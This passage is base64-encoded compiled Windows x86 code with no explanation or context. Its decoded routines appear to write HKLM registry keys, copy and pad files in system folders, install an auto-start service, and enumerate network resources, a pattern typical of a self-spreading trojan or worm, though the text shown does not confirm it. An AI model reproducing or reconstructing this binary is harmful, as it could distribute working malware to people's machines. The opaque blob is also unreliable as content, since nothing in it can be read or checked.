QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA
AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD
VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl
//+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU
g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL
7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu
5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8
gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv
3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA
fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9
1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk
aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO
//+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f//
6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA
689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61////
dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D
xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/
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
